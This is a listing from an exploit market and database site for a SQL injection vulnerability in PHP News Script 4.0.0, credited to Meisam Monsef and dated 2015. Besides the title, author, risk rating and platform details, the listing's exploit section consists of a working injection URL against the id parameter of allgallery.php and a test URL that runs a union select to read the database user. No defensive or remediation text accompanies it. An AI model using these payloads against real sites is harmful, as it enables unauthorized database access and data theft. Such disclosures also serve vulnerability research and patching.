[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PHP News Script 4.0.0 - SQL Injection Vulnerability

Author
Meisam Monsef
Risk
[
Security Risk High
]
0day-ID
0day-ID-23980
Category
web applications
Date add
08-08-2015
Platform
php
# Exploit Title: PHP News Script 4.0.0 Sql Injection
# Date: 2015-08-01
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://phpnewsscript.com/
# Version: 4.0.0
# Tested on: CentOS
 
Exploit :
http://server/allgallery.php?id=-9999%27+[sql-command]+%23
 
Test :
http://server/demo/allgallery.php?id=-100%27+union+select+user()%23

#  0day.today [2024-11-15]  #